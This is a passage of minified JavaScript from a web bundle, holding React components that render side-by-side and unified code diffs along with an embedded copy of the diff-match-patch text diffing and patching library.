t(e)}),[e,t]),a=A.useCallback((function(){return t("")}),[t]);return A.useMemo((function(){var i=tr(r,(function(u){return function(o){return u&&u({side:e,change:n},o)}}));return i.onMouseEnter=Le(s,i.onMouseEnter),i.onMouseLeave=Le(a,i.onMouseLeave),i}),[n,r,s,e,a])}function en(e){var t=e.change,n=e.side,r=e.selected,s=e.tokens,a=e.gutterClassName,i=e.codeClassName,u=e.gutterEvents,o=e.codeEvents,c=e.anchorID,l=e.gutterAnchor,f=e.gutterAnchorTarget,h=e.hideGutter,g=e.hover,m=e.renderToken,p=e.renderGutter;if(!t){var v=L("diff-gutter","diff-gutter-omit",a),y=L("diff-code","diff-code-omit",i);return[!h&&d.jsx("td",{className:v},"gutter"),d.jsx("td",{className:y},"code")]}var _=t.type,b=t.content,k=Q(t),S=n===ir?"old":"new",j=$({id:c||void 0,className:L("diff-gutter","diff-gutter-".concat(_),tn({"diff-gutter-selected":r},"diff-line-hover-"+S,g),a),children:p({change:t,side:S,inHoverState:g,renderDefault:sr(t,S),wrapInAnchor:ar(l,f)})},u),N=L("diff-code","diff-code-".concat(_),tn({"diff-code-selected":r},"diff-line-hover-"+S,g),i);return[!h&&d.jsx("td",$($({},j),{},{"data-change-key":k}),"gutter"),d.jsx(rr,$({className:N,changeKey:k,text:b,tokens:s,renderToken:m},o),"code")]}function Ro(e){var t=e.className,n=e.oldChange,r=e.newChange,s=e.oldSelected,a=e.newSelected,i=e.oldTokens,u=e.newTokens,o=e.monotonous,c=e.gutterClassName,l=e.codeClassName,f=e.gutterEvents,h=e.codeEvents,g=e.hideGutter,m=e.generateAnchorID,p=e.generateLineClassName,v=e.gutterAnchor,y=e.renderToken,_=e.renderGutter,b=z(A.useState(""),2),k=b[0],S=b[1],j=Me("old",S,n,f),N=Me("new",S,r,f),I=Me("old",S,n,h),C=Me("new",S,r,h),E=n&&m(n),D=r&&m(r),B=p({changes:[n,r],defaultGenerate:function(){return t}}),M={monotonous:o,hideGutter:g,gutterClassName:c,codeClassName:l,gutterEvents:f,codeEvents:h,renderToken:y,renderGutter:_},P=$($({},M),{},{change:n,side:ir,selected:s,tokens:i,gutterEvents:j,codeEvents:I,anchorID:E,gutterAnchor:v,gutterAnchorTarget:E,hover:k==="old"}),G=$($({},M),{},{change:r,side:1,selected:a,tokens:u,gutterEvents:N,codeEvents:C,anchorID:n===r?null:D,gutterAnchor:v,gutterAnchorTarget:n===r?E:D,hover:k==="new"});if(o)return d.jsx("tr",{className:L("diff-line",B),children:en(n?P:G)});var ae=(function(ie,pe){return ie&&!pe?"diff-line-old-only":!ie&&pe?"diff-line-new-only":ie===pe?"diff-line-normal":"diff-line-compare"})(n,r);return d.jsxs("tr",{className:L("diff-line",ae,B),children:[en(P),en(G)]})}var Mo=A.memo(Ro);function Oo(e){var t=e.hideGutter,n=e.oldElement,r=e.newElement;return e.monotonous?d.jsx("tr",{className:"diff-widget",children:d.jsx("td",{colSpan:t?1:2,className:"diff-widget-content",children:n||r})}):n===r?d.jsx("tr",{className:"diff-widget",children:d.jsx("td",{colSpan:t?2:4,className:"diff-widget-content",children:n})}):d.jsxs("tr",{className:"diff-widget",children:[d.jsx("td",{colSpan:t?1:2,className:"diff-widget-content",children:n}),d.jsx("td",{colSpan:t?1:2,className:"diff-widget-content",children:r})]})}var $o=["selectedChanges","monotonous","hideGutter","tokens","lineClassName"],Po=["hunk","widgets","className"];function Oe(e,t){return(e?Q(e):"00")+(t?Q(t):"00")}function Fo(e){var t=e.hunk,n=e.widgets,r=e.className,s=he(e,Po),a=(function(i,u){for(var o=function(y){if(!y)return null;var _=Q(y);return u[_]||null},c=[],l=0;l<i.length;l++){var f=i[l];if(ye(f))c.push(["change",Oe(f,f),f,f]);else if(Y(f)){var h=i[l+1];h&&Ie(h)?(l+=1,c.push(["change",Oe(f,h),f,h])):c.push(["change",Oe(f,null),f,null])}else c.push(["change",Oe(null,f),null,f]);var g=c[c.length-1],m=o(g[2]),p=o(g[3]);if(m||p){var v=g[1];c.push(["widget",v,m,p])}}return c})(t.changes,n);return d.jsx("tbody",{className:L("diff-hunk",r),children:a.map((function(i){return(function(u,o){var c=z(u,4),l=c[0],f=c[1],h=c[2],g=c[3],m=o.selectedChanges,p=o.monotonous,v=o.hideGutter,y=o.tokens,_=o.lineClassName,b=he(o,$o);if(l==="change"){var k=!!h&&m.includes(Q(h)),S=!!g&&m.includes(Q(g)),j=h&&y?y.old[Cn(h)-1]:null,N=g&&y?y.new[An(g)-1]:null;return d.jsx(Mo,$({className:_,oldChange:h,newChange:g,monotonous:p,hideGutter:v,oldSelected:k,newSelected:S,oldTokens:j,newTokens:N},b),"change".concat(f))}return l==="widget"?d.jsx(Oo,{monotonous:p,hideGutter:v,oldElement:h,newElement:g},"widget".concat(f)):null})(i,s)}))})}var xo=["gutterType","hunkClassName"];function or(e){var t=e.hunk,n=_a(),r=n.gutterType,s=n.hunkClassName,a=he(n,xo),i=r==="none",u=r==="anchor",o=a.viewType==="unified"?To:Fo;return d.jsx(o,$($({},a),{},{hunk:t,hideGutter:i,gutterAnchor:u,className:s}))}function Bo(){}function gt(e,t){var n=t?"auto":"none";e instanceof HTMLElement&&e.style.userSelect!==n&&(e.style.userSelect=n)}function Go(e){return e.map((function(t){return d.jsx(or,{hunk:t},(function(n){return"-".concat(n.oldStart,",").concat(n.oldLines," +").concat(n.newStart,",").concat(n.newLines)})(t))}))}function Lo(e){var t=e.diffType,n=e.hunks,r=e.optimizeSelection,s=e.className,a=e.hunkClassName,i=a===void 0?F.hunkClassName:a,u=e.lineClassName,o=u===void 0?F.lineClassName:u,c=e.generateLineClassName,l=c===void 0?F.generateLineClassName:c,f=e.gutterClassName,h=f===void 0?F.gutterClassName:f,g=e.codeClassName,m=g===void 0?F.codeClassName:g,p=e.gutterType,v=p===void 0?F.gutterType:p,y=e.viewType,_=y===void 0?F.viewType:y,b=e.gutterEvents,k=b===void 0?F.gutterEvents:b,S=e.codeEvents,j=S===void 0?F.codeEvents:S,N=e.generateAnchorID,I=N===void 0?F.generateAnchorID:N,C=e.selectedChanges,E=C===void 0?F.selectedChanges:C,D=e.widgets,B=D===void 0?F.widgets:D,M=e.renderGutter,P=M===void 0?F.renderGutter:M,G=e.tokens,ae=e.renderToken,ie=e.children,pe=ie===void 0?Go:ie,Je=A.useRef(null),lr=A.useCallback((function(Dn){var gr=Dn.target;if(Dn.button===0){var Ce=(function(Ye,mr){for(var ee=Ye;ee&&ee!==document.documentElement&&!ee.classList.contains(mr);)ee=ee.parentElement;return ee===document.documentElement?null:ee})(gr,"diff-code");if(Ce&&Ce.parentElement){var Tn=window.getSelection();Tn&&Tn.removeAllRanges();var Ae=ga(Ce.parentElement.children).indexOf(Ce);if(Ae===1||Ae===3){var Rn,Ee=ba(Je.current?Je.current.querySelectorAll(".diff-line"):[]);try{for(Ee.s();!(Rn=Ee.n()).done;){var Mn=Rn.value.children;gt(Mn[1],Ae===1),gt(Mn[3],Ae===3)}}catch(Ye){Ee.e(Ye)}finally{Ee.f()}}}}}),[]),X=v==="none",ve=t==="add"||t==="delete",fr=_==="split"&&!ve&&r?lr:Bo,dr=A.useMemo((function(){return d.jsxs("colgroup",_==="unified"?{children:[!X&&d.jsx("col",{className:"diff-gutter-col"}),!X&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{})]}:ve?{children:[!X&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{})]}:{children:[!X&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{}),!X&&d.jsx("col",{className:"diff-gutter-col"}),d.jsx("col",{})]})}),[_,ve,X]),hr=A.useMemo((function(){return{hunkClassName:i,lineClassName:o,generateLineClassName:l,gutterClassName:h,codeClassName:m,monotonous:ve,hideGutter:X,viewType:_,gutterType:v,codeEvents:j,gutterEvents:k,generateAnchorID:I,selectedChanges:E,widgets:B,renderGutter:P,tokens:G,renderToken:ae}}),[m,j,I,h,k,v,X,i,o,l,ve,P,ae,E,G,_,B]);return d.jsx(ya,{value:hr,children:d.jsxs("table",{ref:Je,className:L("diff","diff-".concat(_),s),onMouseDown:fr,children:[dr,pe(n)]})})}var zo=A.memo(Lo);K&&K.isConcatSpreadable;var En=je((function(e){var t=function(){this.Diff_Timeout=1,this.Diff_EditCost=4,this.Match_Threshold=.5,this.Match_Distance=1e3,this.Patch_DeleteThreshold=.5,this.Patch_Margin=4,this.Match_MaxBits=32};t.Diff=function(n,r){return[n,r]},t.prototype.diff_main=function(n,r,s,a){a===void 0&&(a=this.Diff_Timeout<=0?Number.MAX_VALUE:new Date().getTime()+1e3*this.Diff_Timeout);var i=a;if(n==null||r==null)throw new Error("Null input. (diff_main)");if(n==r)return n?[new t.Diff(0,n)]:[];s===void 0&&(s=!0);var u=s,o=this.diff_commonPrefix(n,r),c=n.substring(0,o);n=n.substring(o),r=r.substring(o),o=this.diff_commonSuffix(n,r);var l=n.substring(n.length-o);n=n.substring(0,n.length-o),r=r.substring(0,r.length-o);var f=this.diff_compute_(n,r,u,i);return c&&f.unshift(new t.Diff(0,c)),l&&f.push(new t.Diff(0,l)),this.diff_cleanupMerge(f),f},t.prototype.diff_compute_=function(n,r,s,a){var i;if(!n)return[new t.Diff(1,r)];if(!r)return[new t.Diff(-1,n)];var u=n.length>r.length?n:r,o=n.length>r.length?r:n,c=u.indexOf(o);if(c!=-1)return i=[new t.Diff(1,u.substring(0,c)),new t.Diff(0,o),new t.Diff(1,u.substring(c+o.length))],n.length>r.length&&(i[0][0]=i[2][0]=-1),i;if(o.length==1)return[new t.Diff(-1,n),new t.Diff(1,r)];var l=this.diff_halfMatch_(n,r);if(l){var f=l[0],h=l[1],g=l[2],m=l[3],p=l[4],v=this.diff_main(f,g,s,a),y=this.diff_main(h,m,s,a);return v.concat([new t.Diff(0,p)],y)}return s&&n.length>100&&r.length>100?this.diff_lineMode_(n,r,a):this.diff_bisect_(n,r,a)},t.prototype.diff_lineMode_=function(n,r,s){var a=this.diff_linesToChars_(n,r);n=a.chars1,r=a.chars2;var i=a.lineArray,u=this.diff_main(n,r,!1,s);this.diff_charsToLines_(u,i),this.diff_cleanupSemantic(u),u.push(new t.Diff(0,""));for(var o=0,c=0,l=0,f="",h="";o<u.length;){switch(u[o][0]){case 1:l++,h+=u[o][1];break;case-1:c++,f+=u[o][1];break;case 0:if(c>=1&&l>=1){u.splice(o-c-l,c+l),o=o-c-l;for(var g=this.diff_main(f,h,!1,s),m=g.length-1;m>=0;m--)u.splice(o,0,g[m]);o+=g.length}l=0,c=0,f="",h=""}o++}return u.pop(),u},t.prototype.diff_bisect_=function(n,r,s){for(var a=n.length,i=r.length,u=Math.ceil((a+i)/2),o=u,c=2*u,l=new Array(c),f=new Array(c),h=0;h<c;h++)l[h]=-1,f[h]=-1;l[o+1]=0,f[o+1]=0;for(var g=a-i,m=g%2!=0,p=0,v=0,y=0,_=0,b=0;b<u&&!(new Date().getTime()>s);b++){for(var k=-b+p;k<=b-v;k+=2){for(var S=o+k,j=(D=k==-b||k!=b&&l[S-1]<l[S+1]?l[S+1]:l[S-1]+1)-k;D<a&&j<i&&n.charAt(D)==r.charAt(j);)D++,j++;if(l[S]=D,D>a)v+=2;else if(j>i)p+=2;else if(m&&(C=o+g-k)>=0&&C<c&&f[C]!=-1&&D>=(I=a-f[C]))return this.diff_bisectSplit_(n,r,D,j,s)}for(var N=-b+y;N<=b-_;N+=2){for(var I,C=o+N,E=(I=N==-b||N!=b&&f[C-1]<f[C+1]?f[C+1]:f[C-1]+1)-N;I<a&&E<i&&n.charAt(a-I-1)==r.charAt(i-E-1);)I++,E++;if(f[C]=I,I>a)_+=2;else if(E>i)y+=2;else if(!m&&(S=o+g-N)>=0&&S<c&&l[S]!=-1){var D;if(j=o+(D=l[S])-S,D>=(I=a-I))return this.diff_bisectSplit_(n,r,D,j,s)}}}return[new t.Diff(-1,n),new t.Diff(1,r)]},t.prototype.diff_bisectSplit_=function(n,r,s,a,i){var u=n.substring(0,s),o=r.substring(0,a),c=n.substring(s),l=r.substring(a),f=this.diff_main(u,o,!1,i),h=this.diff_main(c,l,!1,i);return f.concat(h)},t.prototype.diff_linesToChars_=function(n,r){var s=[],a={};function i(c){for(var l="",f=0,h=-1,g=s.length;h<c.length-1;){(h=c.indexOf(`
-`,f))==-1&&(h=c.length-1);var m=c.substring(f,h+1);(a.hasOwnProperty?a.hasOwnProperty(m):a[m]!==void 0)?l+=String.fromCharCode(a[m]):(g==u&&(m=c.substring(f),h=c.length),l+=String.fromCharCode(g),a[m]=g,s[g++]=m),f=h+1}return l}s[0]="";var u=4e4,o=i(n);return u=65535,{chars1:o,chars2:i(r),lineArray:s}},t.prototype.diff_charsToLines_=function(n,r){for(var s=0;s<n.length;s++){for(var a=n[s][1],i=[],u=0;u<a.length;u++)i[u]=r[a.charCodeAt(u)];n[s][1]=i.join("")}},t.prototype.diff_commonPrefix=function(n,r){if(!n||!r||n.charAt(0)!=r.charAt(0))return 0;for(var s=0,a=Math.min(n.length,r.length),i=a,u=0;s<i;)n.substring(u,i)==r.substring(u,i)?u=s=i:a=i,i=Math.floor((a-s)/2+s);return i},t.prototype.diff_commonSuffix=function(n,r){if(!n||!r||n.charAt(n.length-1)!=r.charAt(r.length-1))return 0;for(var s=0,a=Math.min(n.length,r.length),i=a,u=0;s<i;)n.substring(n.length-i,n.length-u)==r.substring(r.length-i,r.length-u)?u=s=i:a=i,i=Math.floor((a-s)/2+s);return i},t.prototype.diff_commonOverlap_=function(n,r){var s=n.length,a=r.length;if(s==0||a==0)return 0;s>a?n=n.substring(s-a):s<a&&(r=r.substring(0,s));var i=Math.min(s,a);if(n==r)return i;for(var u=0,o=1;;){var c=n.substring(i-o),l=r.indexOf(c);if(l==-1)return u;o+=l,l!=0&&n.substring(i-o)!=r.substring(0,o)||(u=o,o++)}},t.prototype.diff_halfMatch_=function(n,r){if(this.Diff_Timeout<=0)return null;var s=n.length>r.length?n:r,a=n.length>r.length?r:n;if(s.length<4||2*a.length<s.length)return null;var i=this;function u(p,v,y){for(var _,b,k,S,j=p.substring(y,y+Math.floor(p.length/4)),N=-1,I="";(N=v.indexOf(j,N+1))!=-1;){var C=i.diff_commonPrefix(p.substring(y),v.substring(N)),E=i.diff_commonSuffix(p.substring(0,y),v.substring(0,N));I.length<E+C&&(I=v.substring(N-E,N)+v.substring(N,N+C),_=p.substring(0,y-E),b=p.substring(y+C),k=v.substring(0,N-E),S=v.substring(N+C))}return 2*I.length>=p.length?[_,b,k,S,I]:null}var o,c,l,f,h,g=u(s,a,Math.ceil(s.length/4)),m=u(s,a,Math.ceil(s.length/2));return g||m?(o=m?g&&g[4].length>m[4].length?g:m:g,n.length>r.length?(c=o[0],l=o[1],f=o[2],h=o[3]):(f=o[0],h=o[1],c=o[2],l=o[3]),[c,l,f,h,o[4]]):null},t.prototype.diff_cleanupSemantic=function(n){for(var r=!1,s=[],a=0,i=null,u=0,o=0,c=0,l=0,f=0;u<n.length;)n[u][0]==0?(s[a++]=u,o=l,c=f,l=0,f=0,i=n[u][1]):(n[u][0]==1?l+=n[u][1].length:f+=n[u][1].length,i&&i.length<=Math.max(o,c)&&i.length<=Math.max(l,f)&&(n.splice(s[a-1],0,new t.Diff(-1,i)),n[s[a-1]+1][0]=1,a--,u=--a>0?s[a-1]:-1,o=0,c=0,l=0,f=0,i=null,r=!0)),u++;for(r&&this.diff_cleanupMerge(n),this.diff_cleanupSemanticLossless(n),u=1;u<n.length;){if(n[u-1][0]==-1&&n[u][0]==1){var h=n[u-1][1],g=n[u][1],m=this.diff_commonOverlap_(h,g),p=this.diff_commonOverlap_(g,h);m>=p?(m>=h.length/2||m>=g.length/2)&&(n.splice(u,0,new t.Diff(0,g.substring(0,m))),n[u-1][1]=h.substring(0,h.length-m),n[u+1][1]=g.substring(m),u++):(p>=h.length/2||p>=g.length/2)&&(n.splice(u,0,new t.Diff(0,h.substring(0,p))),n[u-1][0]=1,n[u-1][1]=g.substring(0,g.length-p),n[u+1][0]=-1,n[u+1][1]=h.substring(p),u++),u++}u++}},t.prototype.diff_cleanupSemanticLossless=function(n){function r(p,v){if(!p||!v)return 6;var y=p.charAt(p.length-1),_=v.charAt(0),b=y.match(t.nonAlphaNumericRegex_),k=_.match(t.nonAlphaNumericRegex_),S=b&&y.match(t.whitespaceRegex_),j=k&&_.match(t.whitespaceRegex_),N=S&&y.match(t.linebreakRegex_),I=j&&_.match(t.linebreakRegex_),C=N&&p.match(t.blanklineEndRegex_),E=I&&v.match(t.blanklineStartRegex_);return C||E?5:N||I?4:b&&!S&&j?3:S||j?2:b||k?1:0}for(var s=1;s<n.length-1;){if(n[s-1][0]==0&&n[s+1][0]==0){var a=n[s-1][1],i=n[s][1],u=n[s+1][1],o=this.diff_commonSuffix(a,i);if(o){var c=i.substring(i.length-o);a=a.substring(0,a.length-o),i=c+i.substring(0,i.length-o),u=c+u}for(var l=a,f=i,h=u,g=r(a,i)+r(i,u);i.charAt(0)===u.charAt(0);){a+=i.charAt(0),i=i.substring(1)+u.charAt(0),u=u.substring(1);var m=r(a,i)+r(i,u);m>=g&&(g=m,l=a,f=i,h=u)}n[s-1][1]!=l&&(l?n[s-1][1]=l:(n.splice(s-1,1),s--),n[s][1]=f,h?n[s+1][1]=h:(n.splice(s+1,1),s--))}s++}},t.nonAlphaNumericRegex_=/[^a-zA-Z0-9]/,t.whitespaceRegex_=/\s/,t.linebreakRegex_=/[\r\n]/,t.blanklineEndRegex_=/\n\r?\n$/,t.blanklineStartRegex_=/^\r?\n\r?\n/,t.prototype.diff_cleanupEfficiency=function(n){for(var r=!1,s=[],a=0,i=null,u=0,o=!1,c=!1,l=!1,f=!1;u<n.length;)n[u][0]==0?(n[u][1].length<this.Diff_EditCost&&(l||f)?(s[a++]=u,o=l,c=f,i=n[u][1]):(a=0,i=null),l=f=!1):(n[u][0]==-1?f=!0:l=!0,i&&(o&&c&&l&&f||i.length<this.Diff_EditCost/2&&o+c+l+f==3)&&(n.splice(s[a-1],0,new t.Diff(-1,i)),n[s[a-1]+1][0]=1,a--,i=null,o&&c?(l=f=!0,a=0):(u=--a>0?s[a-1]:-1,l=f=!1),r=!0)),u++;r&&this.diff_cleanupMerge(n)},t.prototype.diff_cleanupMerge=function(n){n.push(new t.Diff(0,""));for(var r,s=0,a=0,i=0,u="",o="";s<n.length;)switch(n[s][0]){case 1:i++,o+=n[s][1],s++;break;case-1:a++,u+=n[s][1],s++;break;case 0:a+i>1?(a!==0&&i!==0&&((r=this.diff_commonPrefix(o,u))!==0&&(s-a-i>0&&n[s-a-i-1][0]==0?n[s-a-i-1][1]+=o.substring(0,r):(n.splice(0,0,new t.Diff(0,o.substring(0,r))),s++),o=o.substring(r),u=u.substring(r)),(r=this.diff_commonSuffix(o,u))!==0&&(n[s][1]=o.substring(o.length-r)+n[s][1],o=o.substring(0,o.length-r),u=u.substring(0,u.length-r))),s-=a+i,n.splice(s,a+i),u.length&&(n.splice(s,0,new t.Diff(-1,u)),s++),o.length&&(n.splice(s,0,new t.Diff(1,o)),s++),s++):s!==0&&n[s-1][0]==0?(n[s-1][1]+=n[s][1],n.splice(s,1)):s++,i=0,a=0,u="",o=""}n[n.length-1][1]===""&&n.pop();var c=!1;for(s=1;s<n.length-1;)n[s-1][0]==0&&n[s+1][0]==0&&(n[s][1].substring(n[s][1].length-n[s-1][1].length)==n[s-1][1]?(n[s][1]=n[s-1][1]+n[s][1].substring(0,n[s][1].length-n[s-1][1].length),n[s+1][1]=n[s-1][1]+n[s+1][1],n.splice(s-1,1),c=!0):n[s][1].substring(0,n[s+1][1].length)==n[s+1][1]&&(n[s-1][1]+=n[s+1][1],n[s][1]=n[s][1].substring(n[s+1][1].length)+n[s+1][1],n.splice(s+1,1),c=!0)),s++;c&&this.diff_cleanupMerge(n)},t.prototype.diff_xIndex=function(n,r){var s,a=0,i=0,u=0,o=0;for(s=0;s<n.length&&(n[s][0]!==1&&(a+=n[s][1].length),n[s][0]!==-1&&(i+=n[s][1].length),!(a>r));s++)u=a,o=i;return n.length!=s&&n[s][0]===-1?o:o+(r-u)},t.prototype.diff_prettyHtml=function(n){for(var r=[],s=/&/g,a=/</g,i=/>/g,u=/\n/g,o=0;o<n.length;o++){var c=n[o][0],l=n[o][1].replace(s,"&amp;").replace(a,"&lt;").replace(i,"&gt;").replace(u,"&para;<br>");switch(c){case 1:r[o]='<ins style="background:#e6ffe6;">'+l+"</ins>";break;case-1:r[o]='<del style="background:#ffe6e6;">'+l+"</del>";break;case 0:r[o]="<span>"+l+"</span>"}}return r.join("")},t.prototype.diff_text1=function(n){for(var r=[],s=0;s<n.length;s++)n[s][0]!==1&&(r[s]=n[s][1]);return r.join("")},t.prototype.diff_text2=function(n){for(var r=[],s=0;s<n.length;s++)n[s][0]!==-1&&(r[s]=n[s][1]);return r.join("")},t.prototype.diff_levenshtein=function(n){for(var r=0,s=0,a=0,i=0;i<n.length;i++){var u=n[i][0],o=n[i][1];switch(u){case 1:s+=o.length;break;case-1:a+=o.length;break;case 0:r+=Math.max(s,a),s=0,a=0}}return r+=Math.max(s,a)},t.prototype.diff_toDelta=function(n){for(var r=[],s=0;s<n.length;s++)switch(n[s][0]){case 1:r[s]="+"+encodeURI(n[s][1]);break;case-1:r[s]="-"+n[s][1].length;break;case 0:r[s]="="+n[s][1].length}return r.join("	").replace(/%20/g," ")},t.prototype.diff_fromDelta=function(n,r){for(var s=[],a=0,i=0,u=r.split(/\t/g),o=0;o<u.length;o++){var c=u[o].substring(1);switch(u[o].charAt(0)){case"+":try{s[a++]=new t.Diff(1,decodeURI(c))}catch{throw new Error("Illegal escape in diff_fromDelta: "+c)}break;case"-":case"=":var l=parseInt(c,10);if(isNaN(l)||l<0)throw new Error("Invalid number in diff_fromDelta: "+c);var f=n.substring(i,i+=l);u[o].charAt(0)=="="?s[a++]=new t.Diff(0,f):s[a++]=new t.Diff(-1,f);break;default:if(u[o])throw new Error("Invalid diff operation in diff_fromDelta: "+u[o])}}if(i!=n.length)throw new Error("Delta length ("+i+") does not equal source text length ("+n.length+").");return s},t.prototype.match_main=function(n,r,s){if(n==null||r==null||s==null)throw new Error("Null input. (match_main)");return s=Math.max(0,Math.min(s,n.length)),n==r?0:n.length?n.substring(s,s+r.length)==r?s:this.match_bitap_(n,r,s):-1},t.prototype.match_bitap_=function(n,r,s){if(r.length>this.Match_MaxBits)throw new Error("Pattern too long for this browser.");var a=this.match_alphabet_(r),i=this;function u(j,N){var I=j/r.length,C=Math.abs(s-N);return i.Match_Distance?I+C/i.Match_Distance:C?1:I}var o=this.Match_Threshold,c=n.indexOf(r,s);c!=-1&&(o=Math.min(u(0,c),o),(c=n.lastIndexOf(r,s+r.length))!=-1&&(o=Math.min(u(0,c),o)));var l,f,h=1<<r.length-1;c=-1;for(var g,m=r.length+n.length,p=0;p<r.length;p++){for(l=0,f=m;l<f;)u(p,s+f)<=o?l=f:m=f,f=Math.floor((m-l)/2+l);m=f;var v=Math.max(1,s-f+1),y=Math.min(s+f,n.length)+r.length,_=Array(y+2);_[y+1]=(1<<p)-1;for(var b=y;b>=v;b--){var k=a[n.charAt(b-1)];if(_[b]=p===0?(_[b+1]<<1|1)&k:(_[b+1]<<1|1)&k|(g[b+1]|g[b])<<1|1|g[b+1],_[b]&h){var S=u(p,b-1);if(S<=o){if(o=S,!((c=b-1)>s))break;v=Math.max(1,2*s-c)}}}if(u(p+1,s)>o)break;g=_}return c},t.prototype.match_alphabet_=function(n){for(var r={},s=0;s<n.length;s++)r[n.charAt(s)]=0;for(s=0;s<n.length;s++)r[n.charAt(s)]|=1<<n.length-s-1;return r},t.prototype.patch_addContext_=function(n,r){if(r.length!=0){if(n.start2===null)throw Error("patch not initialized");for(var s=r.substring(n.start2,n.start2+n.length1),a=0;r.indexOf(s)!=r.lastIndexOf(s)&&s.length<this.Match_MaxBits-this.Patch_Margin-this.Patch_Margin;)a+=this.Patch_Margin,s=r.substring(n.start2-a,n.start2+n.length1+a);a+=this.Patch_Margin;var i=r.substring(n.start2-a,n.start2);i&&n.diffs.unshift(new t.Diff(0,i));var u=r.substring(n.start2+n.length1,n.start2+n.length1+a);u&&n.diffs.push(new t.Diff(0,u)),n.start1-=i.length,n.start2-=i.length,n.length1+=i.length+u.length,n.length2+=i.length+u.length}},t.prototype.patch_make=function(n,r,s){var a,i;if(typeof n=="string"&&typeof r=="string"&&s===void 0)a=n,(i=this.diff_main(a,r,!0)).length>2&&(this.diff_cleanupSemantic(i),this.diff_cleanupEfficiency(i));else if(n&&typeof n=="object"&&r===void 0&&s===void 0)i=n,a=this.diff_text1(i);else if(typeof n=="string"&&r&&typeof r=="object"&&s===void 0)a=n,i=r;else{if(typeof n!="string"||typeof r!="string"||!s||typeof s!="object")throw new Error("Unknown call format to patch_make.");a=n,i=s}if(i.length===0)return[];for(var u=[],o=new t.patch_obj,c=0,l=0,f=0,h=a,g=a,m=0;m<i.length;m++){var p=i[m][0],v=i[m][1];switch(c||p===0||(o.start1=l,o.start2=f),p){case 1:o.diffs[c++]=i[m],o.length2+=v.length,g=g.substring(0,f)+v+g.substring(f);break;case-1:o.length1+=v.length,o.diffs[c++]=i[m],g=g.substring(0,f)+g.substring(f+v.length);break;case 0:v.length<=2*this.Patch_Margin&&c&&i.length!=m+1?(o.diffs[c++]=i[m],o.length1+=v.length,o.length2+=v.length):v.length>=2*this.Patch_Margin&&c&&(this.patch_addContext_(o,h),u.push(o),o=new t.patch_obj,c=0,h=g,l=f)}p!==1&&(l+=v.length),p!==-1&&(f+=v.length)}return c&&(this.patch_addContext_(o,h),u.push(o)),u},t.prototype.patch_deepCopy=function(n){for(var r=[],s=0;s<n.length;s++){var a=n[s],i=new t.patch_obj;i.diffs=[];for(var u=0;u<a.diffs.length;u++)i.diffs[u]=new t.Diff(a.diffs[u][0],a.diffs[u][1]);i.start1=a.start1,i.start2=a.start2,i.length1=a.length1,i.length2=a.length2,r[s]=i}return r},t.prototype.patch_apply=function(n,r){if(n.length==0)return[r,[]];n=this.patch_deepCopy(n);var s=this.patch_addPadding(n);r=s+r+s,this.patch_splitMax(n);for(var a=0,i=[],u=0;u<n.length;u++){var o,c,l=n[u].start2+a,f=this.diff_text1(n[u].diffs),h=-1;if(f.length>this.Match_MaxBits?(o=this.match_main(r,f.substring(0,this.Match_MaxBits),l))!=-1&&((h=this.match_main(r,f.substring(f.length-this.Match_MaxBits),l+f.length-this.Match_MaxBits))==-1||o>=h)&&(o=-1):o=this.match_main(r,f,l),o==-1)i[u]=!1,a-=n[u].length2-n[u].length1;else if(i[u]=!0,a=o-l,f==(c=h==-1?r.substring(o,o+f.length):r.substring(o,h+this.Match_MaxBits)))r=r.substring(0,o)+this.diff_text2(n[u].diffs)+r.substring(o+f.length);else{var g=this.diff_main(f,c,!1);if(f.length>this.Match_MaxBits&&this.diff_levenshtein(g)/f.length>this.Patch_DeleteThreshold)i[u]=!1;else{this.diff_cleanupSemanticLossless(g);for(var m,p=0,v=0;v<n[u].diffs.length;v++){var y=n[u].diffs[v];y[0]!==0&&(m=this.diff_xIndex(g,p)),y[0]===1?r=r.substring(0,o+m)+y[1]+r.substring(o+m):y[0]===-1&&(r=r.substring(0,o+m)+r.substring(o+this.diff_xIndex(g,p+y[1].length))),y[0]!==-1&&(p+=y[1].length)}}}}return[r=r.substring(s.length,r.length-s.length),i]},t.prototype.patch_addPadding=function(n){for(var r=this.Patch_Margin,s="",a=1;a<=r;a++)s+=String.fromCharCode(a);for(a=0;a<n.length;a++)n[a].start1+=r,n[a].start2+=r;var i=n[0],u=i.diffs;if(u.length==0||u[0][0]!=0)u.unshift(new t.Diff(0,s)),i.start1-=r,i.start2-=r,i.length1+=r,i.length2+=r;else if(r>u[0][1].length){var o=r-u[0][1].length;u[0][1]=s.substring(u[0][1].length)+u[0][1],i.start1-=o,i.start2-=o,i.length1+=o,i.length2+=o}return(u=(i=n[n.length-1]).diffs).length==0||u[u.length-1][0]!=0?(u.push(new t.Diff(0,s)),i.length1+=r,i.length2+=r):r>u[u.length-1][1].length&&(o=r-u[u.length-1][1].length,u[u.length-1][1]+=s.substring(0,o),i.length1+=o,i.length2+=o),s},t.prototype.patch_splitMax=function(n){for(var r=this.Match_MaxBits,s=0;s<n.length;s++)if(!(n[s].length1<=r)){var a=n[s];n.splice(s--,1);for(var i=a.start1,u=a.start2,o="";a.diffs.length!==0;){var c=new t.patch_obj,l=!0;for(c.start1=i-o.length,c.start2=u-o.length,o!==""&&(c.length1=c.length2=o.length,c.diffs.push(new t.Diff(0,o)));a.diffs.length!==0&&c.length1<r-this.Patch_Margin;){var f=a.diffs[0][0],h=a.diffs[0][1];f===1?(c.length2+=h.length,u+=h.length,c.diffs.push(a.diffs.shift()),l=!1):f===-1&&c.diffs.length==1&&c.diffs[0][0]==0&&h.length>2*r?(c.length1+=h.length,i+=h.length,l=!1,c.diffs.push(new t.Diff(f,h)),a.diffs.shift()):(h=h.substring(0,r-c.length1-this.Patch_Margin),c.length1+=h.length,i+=h.length,f===0?(c.length2+=h.length,u+=h.length):l=!1,c.diffs.push(new t.Diff(f,h)),h==a.diffs[0][1]?a.diffs.shift():a.diffs[0][1]=a.diffs[0][1].substring(h.length))}o=(o=this.diff_text2(c.diffs)).substring(o.length-this.Patch_Margin);var g=this.diff_text1(a.diffs).substring(0,this.Patch_Margin);g!==""&&(c.length1+=g.length,c.length2+=g.length,c.diffs.length!==0&&c.diffs[c.diffs.length-1][0]===0?c.diffs[c.diffs.length-1][1]+=g:c.diffs.push(new t.Diff(0,g))),l||n.splice(++s,0,c)}}},t.prototype.patch_toText=function(n){for(var r=[],s=0;s<n.length;s++)r[s]=n[s];return 